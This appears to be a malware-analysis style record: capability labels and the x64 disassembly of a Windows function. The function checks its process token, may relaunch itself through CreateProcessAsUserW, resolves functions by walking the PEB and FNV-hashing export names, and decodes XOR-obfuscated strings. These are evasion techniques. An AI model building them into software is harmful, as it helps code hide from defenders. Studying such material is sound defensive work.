Function at 0x140039b30
Capabilities:
Accept command line arguments
Access peb ldr_data
Create process on windows
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports
Terminate process

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x30]
sub rsp, 0x130
mov rax, qword [0x140053040]
xor rax, rsp
mov qword [rbp], rax
xor ebx, ebx
mov esi, ebx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x78]
mov edx, 8
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140039c68
mov rcx, qword [rsp + 0x78]
lea rax, [rbp - 0x74]
mov r9d, 4
mov qword [rsp + 0x20], rax
lea r8, [rbp - 0x78]
mov edx, 0x1a
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x140039bb0
mov edi, dword [rbp - 0x74]
mov esi, 1
jmp 0x140039bb8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
je 0x140039c70
cmp dword [rbp - 0x78], ebx
jne 0x140039c78
lea rcx, [rbp - 0x80]
call fcn.1400397b0
test eax, eax
jne 0x14003a2a4
lea rcx, [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea rcx, [rsp + 0x60]
xor r9d, r9d
mov qword [rsp + 0x50], rcx
mov r8, rax
lea rcx, [rbp - 0x70]
xor edx, edx
mov qword [rsp + 0x48], rcx
mov rcx, qword [rbp - 0x80]
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x38], rbx
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
test eax, eax
je 0x140039c54
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rbp - 0x80]
mov edi, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140039c70
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
test edi, edi
jne 0x14003a2a4
movzx eax, word [0x14004b4d8]
movups xmm0, xmmword [str.uE_XNkTP__6_v_]
mov word [rsp + 0x70], ax
movzx eax, byte [0x14004b4da]
mov byte [rsp + 0x72], al
movups xmmword [rsp + 0x60], xmm0
mov rax, qword gs:[0x60]
mov qword [rsp + 0x140], r14
movaps xmmword [rsp + 0x110], xmm7
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x140039d37
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x140039d37
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xd4ba4ec
lea rcx, [rdi + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x140039d32
nop
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x140039d10
cmp r8d, 0x87a6540
je 0x140039d3c
test r9d, r9d
jne 0x140039cf0
mov rax, qword [rax]
jmp 0x140039cc0
mov ecx, dword [rsi + 0x24]
mov r8d, ebx
mov r14d, dword [0x140053010]
add rcx, r10
movdqa xmm7, xmmword [0x14004b9a0]
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
add r11, r10
cmp r14d, 2
jl 0x140039f1c
movdqa xmm4, xmmword [0x14004bd90]
movdqa xmm2, xmmword [0x14004b930]
movdqa xmm5, xmmword [str.6666]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x14004b950]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movaps xmmword [rsp + 0x120], xmm6
movdqa xmm6, xmmword [0x14004b9f0]
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, dword [str.uE_XNkTP__6_v_]
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm6
xorps xmm2, xmm0
movd dword [rsp + 0x60], xmm2
movdqa xmm2, xmmword [0x14004b940]
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
pmulld xmm0, xmm5
psubd xmm2, xmm0
punpckldq xmm1, xmm3
movd xmm0, dword [rsp + 0x64]
andps xmm2, xmm7
pmuldq xmm1, xmm4
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm6
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rsp + 0x64], xmm2
movdqa xmm2, xmmword [0x14004b960]
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
pmulld xmm0, xmm5
psubd xmm3, xmm0
punpckldq xmm1, xmm2
movd xmm0, dword [rsp + 0x68]
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
pmuldq xmm1, xmm4
paddb xmm3, xmm6
xorps xmm3, xmm0
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
movd dword [rsp + 0x68], xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, dword [rsp + 0x6c]
andps xmm2, xmm7
packuswb xmm2, xmm2
mov r8d, 0x10
packuswb xmm2, xmm2
paddb xmm2, xmm6
movaps xmm6, xmmword [rsp + 0x120]
xorps xmm2, xmm0
movd dword [rsp + 0x6c], xmm2
mov eax, r8d
lea r9, [rsp + 0x60]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
inc r8d
xor byte [r9 - 1], cl
cmp r8d, 0x13
jl 0x140039f30
mov rcx, qword [0x14006d608]
lea rdx, [rsp + 0x60]
call r11
mov qword [0x14006d5a0], rax
test rax, rax
jne 0x14003a2a0
movzx eax, word [0x14004b4d8]
movups xmm0, xmmword [str.uE_XNkTP__6_v_]
mov word [rsp + 0x70], ax
movzx eax, byte [0x14004b4da]
mov byte [rsp + 0x72], al
movups xmmword [rsp + 0x60], xmm0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x14003a037
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x14003a037
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xa257c86e
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdi]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14003a032
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14003a010
cmp r8d, 0x9bb46be
je 0x14003a03c
test r9d, r9d
jne 0x140039ff0
mov rax, qword [rax]
jmp 0x140039fc0
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov r9d, dword [rcx + rdx*4]
add r9, r10
cmp r14d, 2
jl 0x14003a207
movdqa xmm4, xmmword [0x14004bd90]
movdqa xmm3, xmmword [0x14004b930]
movdqa xmm2, xmmword [0x14004b940]
movdqa xmm1, xmm3
movdqa xmm5, xmmword [str.6666]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
mov eax, dword [0x14004b9f0]
punpckldq xmm1, xmm3
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
pmulld xmm0, xmm5
psubd xmm3, xmm0
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, eax
paddb xmm3, xmm0
movd xmm0, dword [str.uE_XNkTP__6_v_]
xorps xmm3, xmm0
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
movd dword [rsp + 0x60], xmm3
movdqa xmm3, xmmword [0x14004b950]
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x64]
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
xorps xmm2, xmm1
pmuldq xmm0, xmm4
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd dword [rsp + 0x64], xmm2
movdqa xmm2, xmmword [0x14004b960]
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x68]
pmulld xmm0, xmm5
psubd xmm3, xmm0
movd xmm0, eax
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movdqa xmm0, xmm2
xorps xmm3, xmm1
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movd dword [rsp + 0x68], xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x6c]
mov ebx, 0x10
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x6c], xmm2
mov eax, ebx
lea r8, [rsp + 0x60]
add r8, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r8, [r8 + 1]
imul ebx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, bl
inc ebx
xor byte [r8 - 1], cl
cmp ebx, 0x13
jl 0x14003a220
mov rcx, qword [0x14006d610]
lea rdx, [rsp + 0x60]
call r9
test rax, rax
mov qword [0x14006d5a0], rax
setne al
mov r14, qword [rsp + 0x140]
movaps xmm7, xmmword [rsp + 0x110]
mov rcx, qword [rbp]
xor rcx, rsp
call fcn.140042810
lea r11, [rsp + 0x130]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
mov al, 1
jmp 0x14003a26b
xor al, al
jmp 0x14003a27b